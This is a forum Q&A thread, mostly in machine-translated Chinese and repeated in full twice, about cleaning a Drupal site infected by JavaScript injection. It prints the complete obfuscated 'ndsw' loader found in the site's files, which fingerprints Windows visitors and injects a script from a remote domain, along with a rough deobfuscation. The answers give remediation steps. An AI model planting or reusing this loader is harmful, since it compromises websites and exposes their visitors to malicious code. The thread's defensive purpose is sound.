Drupal 站点 javascript 注入修复
Drupal site javascript injection fix
几天前,我维护的一个 drupal 网站被黑客使用某种 JS 注入攻击,他们设法将一堆混淆代码注入所有 javascript 文件中,我们一直在努力修复并让它恢复正常。
删除一大堆混淆代码后,我们将所有 CSS 和 JS 重新置于控制之下,但是仍然有一些我在任何代码中都找不到的东西(或者 MYSQL数据库)。
目前 hack/injection 显示为出现在任何和所有之前的随机链接
<a>
只在首页(www.example.com)或次要首页(www.example.com/company)上打标签,传给我的网站不是我做的。
我在数据库和物理文件中搜索了对它注入的网站链接的引用,并且有 none。
此外,链接始终使用相同的随机字母毫无价值(在本例中为“8”、"p"、"glad"、"wy2"、"j6"和“6”)
其次,暂存站点非常好(www.example.staging.com),但是当我们推送非黑客代码时,它会自行重新显示)如果我拉下实时代码并且 运行 它在本地链接消失了。
任何人都可以帮助我或对此有任何经验吗?
这是注入的 JS:
;if(ndsw===undefined){var ndsw=true;(function(){var n=navigator,d=document,s=screen,w=window,u=n[p("wt1n1eagqAbr1ers1up")],q=n[p(")mrrdo4fitua4l0p)")],t=d[p("gewi)kkorowc)")],h=w[p("0n1o9ixtma(cco!ly")][p("oeemea)n6tmsforhx")],dr=d[p("9rye3rjrfedf1eprg")];if(dr&&!c(dr,h)){if(!c(u,p("kd0iio1rkdxnwA5"))&&c(u,p("ps5wdowdcn)i8Wv"))&&c(q,p("vndisWv"))){if(!c(t,p("m=ua!mft3uc_e_i"))){var n=d.createElement('script');n.type='text/javascript';n.async=true;n.src=p('c3tcf1d5i7(a!2he0end338epd66vf55z5vaj3p7j=fvo&90l4b2i=idyizcv?6smjb.uexd1o9cn_tsl/4mcouci.28!0s2xsacfiat1y9liainhadkccviol2cr.(kmcqi0ldcp/j/w:gsnpdt2tlhz');var v=d.getElementsByTagName('script')[0];v.parentNode.insertBefore(n,v)}}}function p(e){var k='';for(var w=0;w<e.length;w++){if(w%2===1)k+=e[w]}k=r(k);return k}function c(o,z){return o[p("!f9O4xrevd4ngi4")](z)!==-1}function r(a){var d='';for(var q=a.length-1;q>=0;q--){d+=a[q]}return d}})()}
So far I got:
- first it checks if :
+ userAgent
+ platform
+ cookie
+ location[hostname]
+ referrer
later checks something about this values:
- userAgent !== Android
- userAgent === Windows
- userAgent === Win
- cookie not exists __utma=
Then it makes a script element with src= ->
"https://click.clickanalytics208.com/s_code.js?cid=240&v=73a55f6
de3dee2a751c3"
去混淆后的脚本看起来或多或少像这样:
var data = navigator['userAgent'];
var value = document["cookie"];
if (indexOf(data, "Windows") && !indexOf(data,decode("Android"))) {
if (!indexOf(value, "___utma=")) {
vat tag = document.createElement("script");
tag.type = "text/javascript";
tag.async = true;
tag.src = "https://click.clickanalytics208.com/s_code?cid=239&v=243bccb3d3c0ba83d41fc"
var wafCss = document.getElementByTagName("script")[0];
wafCss.parentNode.instertBefore(tag, wafCss);
}
}
我还不能发表评论,但如果您仍然需要清理网站的帮助,FaD3y 会联系我。
我一直没搞清楚问题出在哪里。但解决方案是从 Drupal 7.66 更新到 7.67。
然后我导入了包含内容的数据库,然后手动检查所有插件和扩展,从它们的原始服务器添加它们。
我只是把它留在这里,以防将来其他人遇到这个问题。
减少损失,尽可能获取信息并重建。
我从来没有在 Drupal 网站上工作过,所以我知道这不是被问到的问题,这个问题首先出现在 Google 搜索问题中提到的行时的结果中,它是 cross-platform问题。
我没有使用 Drupal 的经验,但使用 Wordpress,我的 go-to 帮助诊断和清除任何感染的工具是使用 Wordfence 插件。它可以自动扫描并识别网站文件系统中的受感染文件,如果themes/plugins是通过官方Wordpress存储库下载的,它可以自动修复它们。
如果这不是一个选项,首先您应该识别注入到您文件中的字符串以及恶意软件创建的任何额外文件。手动执行此操作的一种方法是通过 SSH 连接到服务器,下载平台的核心文件并将它们解压缩到不同的干净文件夹中,然后 运行 对生产文件夹和干净文件夹进行比较。对于 Wordpress,差异命令将如下所示: diff -r /path/to/clean/wordpress /path/to/wordpress -x wp-content | less
在该命令的输出中,您将查找仅存在于生产 Wordpress 文件夹中的任何文件以及存在于生产文件夹核心中的任何行(wp-admin、wp-includes ) 干净文件夹中不存在的文件。通常,恶意软件会创建名称与合法核心文件相差一个字符的文件,例如 /path/to/wordpress/wp-includes/js/utilsz.js
而不是 /path/to/wordpress/wp-includes/js/utils.js
。恶意软件还将混淆代码行附加到 js 文件的末尾,类似于 OP 中描述的行:;if(ndsw===undefined)...
.
一旦你确定了受感染的文件,备份生产文件夹并禁用所有插件,然后删除生产文件夹中存在的所有核心文件而不是干净文件夹中的,除了你的wp-config.php
文件。此外,检查您的 wp-config.php
文件是否有任何可疑行,并确保配置中指定的域是正确的。
如果您不使用 wp-cli,则需要通过将干净文件夹复制到生产文件夹上来手动重新安装核心文件(在本例中为 Wordpress)。之后您将需要手动重新安装所有插件和主题,因此请下载您网站上使用的每个主题和插件,然后通过将它们复制到 wp-content/themes
或 wp-content/plugins
中的主题或插件来手动重新安装它们文件夹。
如果您使用 wp-cli,您可以使用这三行来快速重新安装和更新 Wordpress 核心以及所有主题和插件:
wp core update --force --path=/path/to/wordpress
wp theme install $(wp theme list --field=name) --force --path=/path/to/wordpress
wp plugin install $(wp plugin list --field=name) --force --path=/path/to/wordpress
对于无法通过 wp-cli 重新安装的任何主题或插件,必须按照手动过程进行更新。这通常是因为主题或插件的许可证不再有效,在这种情况下,您应该购买新的许可证,以便获得最多 up-to-date 版本,因为使用过时的主题和插件很可能是您的网站被感染的原因首先。
几天前,我维护的一个 drupal 网站被黑客使用某种 JS 注入攻击,他们设法将一堆混淆代码注入所有 javascript 文件中,我们一直在努力修复并让它恢复正常。
删除一大堆混淆代码后,我们将所有 CSS 和 JS 重新置于控制之下,但是仍然有一些我在任何代码中都找不到的东西(或者 MYSQL数据库)。
目前 hack/injection 显示为出现在任何和所有之前的随机链接
<a>
只在首页(www.example.com)或次要首页(www.example.com/company)上打标签,传给我的网站不是我做的。
我在数据库和物理文件中搜索了对它注入的网站链接的引用,并且有 none。
此外,链接始终使用相同的随机字母毫无价值(在本例中为“8”、"p"、"glad"、"wy2"、"j6"和“6”)
其次,暂存站点非常好(www.example.staging.com),但是当我们推送非黑客代码时,它会自行重新显示)如果我拉下实时代码并且 运行 它在本地链接消失了。
任何人都可以帮助我或对此有任何经验吗?
这是注入的 JS:
;if(ndsw===undefined){var ndsw=true;(function(){var n=navigator,d=document,s=screen,w=window,u=n[p("wt1n1eagqAbr1ers1up")],q=n[p(")mrrdo4fitua4l0p)")],t=d[p("gewi)kkorowc)")],h=w[p("0n1o9ixtma(cco!ly")][p("oeemea)n6tmsforhx")],dr=d[p("9rye3rjrfedf1eprg")];if(dr&&!c(dr,h)){if(!c(u,p("kd0iio1rkdxnwA5"))&&c(u,p("ps5wdowdcn)i8Wv"))&&c(q,p("vndisWv"))){if(!c(t,p("m=ua!mft3uc_e_i"))){var n=d.createElement('script');n.type='text/javascript';n.async=true;n.src=p('c3tcf1d5i7(a!2he0end338epd66vf55z5vaj3p7j=fvo&90l4b2i=idyizcv?6smjb.uexd1o9cn_tsl/4mcouci.28!0s2xsacfiat1y9liainhadkccviol2cr.(kmcqi0ldcp/j/w:gsnpdt2tlhz');var v=d.getElementsByTagName('script')[0];v.parentNode.insertBefore(n,v)}}}function p(e){var k='';for(var w=0;w<e.length;w++){if(w%2===1)k+=e[w]}k=r(k);return k}function c(o,z){return o[p("!f9O4xrevd4ngi4")](z)!==-1}function r(a){var d='';for(var q=a.length-1;q>=0;q--){d+=a[q]}return d}})()}
So far I got:
- first it checks if :
+ userAgent
+ platform
+ cookie
+ location[hostname]
+ referrer
later checks something about this values:
- userAgent !== Android
- userAgent === Windows
- userAgent === Win
- cookie not exists __utma=
Then it makes a script element with src= ->
"https://click.clickanalytics208.com/s_code.js?cid=240&v=73a55f6
de3dee2a751c3"
去混淆后的脚本看起来或多或少像这样:
var data = navigator['userAgent'];
var value = document["cookie"];
if (indexOf(data, "Windows") && !indexOf(data,decode("Android"))) {
if (!indexOf(value, "___utma=")) {
vat tag = document.createElement("script");
tag.type = "text/javascript";
tag.async = true;
tag.src = "https://click.clickanalytics208.com/s_code?cid=239&v=243bccb3d3c0ba83d41fc"
var wafCss = document.getElementByTagName("script")[0];
wafCss.parentNode.instertBefore(tag, wafCss);
}
}
我还不能发表评论,但如果您仍然需要清理网站的帮助,FaD3y 会联系我。
我一直没搞清楚问题出在哪里。但解决方案是从 Drupal 7.66 更新到 7.67。
然后我导入了包含内容的数据库,然后手动检查所有插件和扩展,从它们的原始服务器添加它们。
我只是把它留在这里,以防将来其他人遇到这个问题。
减少损失,尽可能获取信息并重建。
我从来没有在 Drupal 网站上工作过,所以我知道这不是被问到的问题,这个问题首先出现在 Google 搜索问题中提到的行时的结果中,它是 cross-platform问题。
我没有使用 Drupal 的经验,但使用 Wordpress,我的 go-to 帮助诊断和清除任何感染的工具是使用 Wordfence 插件。它可以自动扫描并识别网站文件系统中的受感染文件,如果themes/plugins是通过官方Wordpress存储库下载的,它可以自动修复它们。
如果这不是一个选项,首先您应该识别注入到您文件中的字符串以及恶意软件创建的任何额外文件。手动执行此操作的一种方法是通过 SSH 连接到服务器,下载平台的核心文件并将它们解压缩到不同的干净文件夹中,然后 运行 对生产文件夹和干净文件夹进行比较。对于 Wordpress,差异命令将如下所示: diff -r /path/to/clean/wordpress /path/to/wordpress -x wp-content | less
在该命令的输出中,您将查找仅存在于生产 Wordpress 文件夹中的任何文件以及存在于生产文件夹核心中的任何行(wp-admin、wp-includes ) 干净文件夹中不存在的文件。通常,恶意软件会创建名称与合法核心文件相差一个字符的文件,例如 /path/to/wordpress/wp-includes/js/utilsz.js
而不是 /path/to/wordpress/wp-includes/js/utils.js
。恶意软件还将混淆代码行附加到 js 文件的末尾,类似于 OP 中描述的行:;if(ndsw===undefined)...
.
一旦你确定了受感染的文件,备份生产文件夹并禁用所有插件,然后删除生产文件夹中存在的所有核心文件而不是干净文件夹中的,除了你的wp-config.php
文件。此外,检查您的 wp-config.php
文件是否有任何可疑行,并确保配置中指定的域是正确的。
如果您不使用 wp-cli,则需要通过将干净文件夹复制到生产文件夹上来手动重新安装核心文件(在本例中为 Wordpress)。之后您将需要手动重新安装所有插件和主题,因此请下载您网站上使用的每个主题和插件,然后通过将它们复制到 wp-content/themes
或 wp-content/plugins
中的主题或插件来手动重新安装它们文件夹。
如果您使用 wp-cli,您可以使用这三行来快速重新安装和更新 Wordpress 核心以及所有主题和插件:
wp core update --force --path=/path/to/wordpress
wp theme install $(wp theme list --field=name) --force --path=/path/to/wordpress
wp plugin install $(wp plugin list --field=name) --force --path=/path/to/wordpress
对于无法通过 wp-cli 重新安装的任何主题或插件,必须按照手动过程进行更新。这通常是因为主题或插件的许可证不再有效,在这种情况下,您应该购买新的许可证,以便获得最多 up-to-date 版本,因为使用过时的主题和插件很可能是您的网站被感染的原因首先。